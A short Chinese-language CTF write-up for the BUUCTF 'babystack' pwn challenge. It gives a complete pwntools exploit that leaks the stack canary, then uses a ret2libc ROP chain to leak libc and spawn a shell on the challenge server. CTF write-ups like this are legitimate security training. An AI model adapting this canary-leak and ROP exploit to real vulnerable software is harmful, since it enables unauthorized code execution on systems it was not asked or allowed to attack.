BUUCTF others babystack

思路：

通过覆盖canary的截断字符"\x00"，从而连带打印出canary

而后就是简单的ret2libc了

exp:

from pwn import *
p = remote("node4.buuoj.cn",26363)

elf = ELF("./babystack")
context.log_level  ="debug"
libc = ELF("./libc-2.23.so")
# libc = elf.libc
p.timeout = 0.2
def dbg():
	gdb.attach(p)
	pause()
pop_rdi = 0x400a93
ret = 0x40067e
puts_plt = 0x400690
puts_got = elf.got["puts"]
main = 0x400908

str = "a"*(0x89) 
p.recvuntil(">>")
p.sendline("1")
p.send(str)
p.recvuntil(">>")
p.sendline("2")
p.recvuntil("a"*0x88)
canary =  u64(p.recv(8))-0x61
log.success("canary:" +hex(canary))
p.recvuntil(">>")
p.sendline("1")
p.send('a'*0x88 + p64(canary) + p64(0) + p64(pop_rdi) +  p64(puts_got) + p64(puts_plt) + p64(main))
p.sendlineafter(">>",'3')
p.recv()
addr = u64(p.recv(6).ljust(8,'\x00'))

libc_base = addr - 0x06f6a0
sys = libc_base + 0x0453a0
sh = libc_base + 0x18ce57
log.success("addr:" + hex(addr))

p.recvuntil(">>")
p.sendline("1")
p.send('a'*0x88 + p64(canary) + p64(0) + p64(pop_rdi) +  p64(sh) + p64(sys) )

p.sendlineafter(">>",'3')
p.interactive()